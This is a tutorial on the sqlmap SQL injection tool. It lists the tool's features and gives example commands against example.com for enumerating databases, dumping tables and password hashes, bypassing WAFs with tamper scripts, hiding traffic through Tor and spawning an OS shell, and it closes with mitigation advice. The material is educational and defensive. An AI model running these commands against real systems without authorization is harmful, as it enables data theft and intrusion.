SQLmap

SQLmap is **an open-source penetration testing tool designed to automate the detection and exploitation of SQL injection vulnerabilities in web applications**. It is a powerful tool for both attackers and security professionals, capable of identifying vulnerabilities, retrieving data, and even executing commands on compromised databases.

1. Features of SQLmap

1. **Automated** SQL Injection Detection

- Identifies SQL injection vulnerabilities by testing various payloads on web application parameters.

2. **Database** Fingerprinting

- Identifies the type, version, and features of the database management system (DBMS).

3. **Data Extraction**

- Retrieves database schema, table contents, and credentials.

4. **Privilege Escalation**

- Explores database user privileges and escalates access if possible.

5. **Operating System Interaction**

- Executes OS-level commands when databases support extended functionality.

6. Support for **Multiple Injection Types**

- Blind SQLi
- Boolean-based SQLi
- Time-based SQLi
- Union-based SQLi
- Error-based SQLi
- Stacked queries and out-of-band (OOB) injections.

7. Database Support

- Works with popular DBMSs, including:
    - MySQL
    - PostgreSQL
    - Oracle
    - Microsoft SQL Server
    - SQLite
    - MariaDB

8. **Tor and Proxy Support**

- Routes traffic through Tor or proxies for anonymity.

2. How SQLmap Works

SQLmap works by sending crafted SQL payloads to the target application and analyzing the responses to identify vulnerabilities and extract data.

Typical Workflow

1. **Identify the target URL or form**.
2. **Configure** SQLmap with the target.
3. SQLmap **sends various payloads** to test for vulnerabilities.
4. Upon finding a vulnerability, SQLmap **exploits it to extract data or perform additional actions**.

3. Common SQLmap Commands

a. Basic Usage

```
sqlmap -u "http://example.com/page?id=1"
```

- Tests the id parameter in the URL for SQL injection.

b. Enumerate Databases

```
sqlmap -u "http://example.com/page?id=1" --dbs
```

- Lists all databases on the target.

c. Enumerate Tables

```
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
```

- Lists all tables in the specified database.

d. Dump Table Data

```
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --
dump
```

- Extracts all data from the specified table.

e. Identify Database User

```
sqlmap -u "http://example.com/page?id=1" --current-user
```

- Retrieves the current database user.

f. Test All Parameters

```
sqlmap -u "http://example.com/page?id=1" --forms
```

- Scans all parameters in forms on the page.

g. Bypass WAFs

```
sqlmap -u "http://example.com/page?id=1" --tamper=charencode
```

- Uses tamper scripts to bypass Web Application Firewalls (WAFs).

h. Use Tor for Anonymity

```
sqlmap -u "http://example.com/page?id=1" --tor
```

- Routes traffic through the Tor network.

4. Example Scenarios

a. Dumping Database Credentials

```
sqlmap -u "http://example.com/page?id=1" --passwords
```

- Extracts hashed passwords stored in the database.

b. Discovering Privilege Levels

```
sqlmap -u "http://example.com/page?id=1" --privileges
```

- Identifies privileges of the current database user.

c. Running OS Commands

```
sqlmap -u "http://example.com/page?id=1" --os-shell
```

- Spawns a shell to execute operating system commands (if supported).

5. Risks and Responsible Use

SQLmap is a penetration testing tool and should be used responsibly

1. Only Test Systems **You Own or Have Permission** To Test

- Unauthorized use can lead to legal consequences.

2. **Do Not Use on Production** Systems Without Approval

- SQLmap can send high volumes of requests, potentially causing performance degradation.

6. Mitigation Against SQLmap Attacks

1. **Input Validation and Sanitization**

- Validate and sanitize all user inputs to prevent SQL injection.

2. **Parameterized Queries**

- Use prepared statements or stored procedures instead of dynamic SQL.

3. **Web Application Firewalls (WAFs)**

- Block common SQL injection payloads and tamper scripts.

4. **Least Privilege Principle**

- Restrict database user permissions to the minimum required.

5. **Regular Security Audits**

- Use tools like SQLmap in authorized tests to identify and patch vulnerabilities.

7. Summary

Feature	Details
Purpose	Automate detection and exploitation of SQL injection vulnerabilities.
Key Features	Data extraction, privilege escalation, OS interaction, bypass WAFs.
Common Commands	--dbs (list databases), --tables (list tables), --dump (extract data).
Supported DBMS	MySQL, PostgreSQL, SQLite, MSSQL, Oracle, MariaDB.
Mitigation	Input validation, parameterized queries, WAFs, least privilege principle.

SQLmap is an essential tool for penetration testers, offering powerful features for detecting and exploiting SQL injection vulnerabilities. While it streamlines vulnerability testing, its **use must be ethical and authorized** to avoid legal and operational risks. Organizations can defend against SQLmap and similar tools by adopting robust security measures like **input validation**, **prepared statements**, and **regular testing**.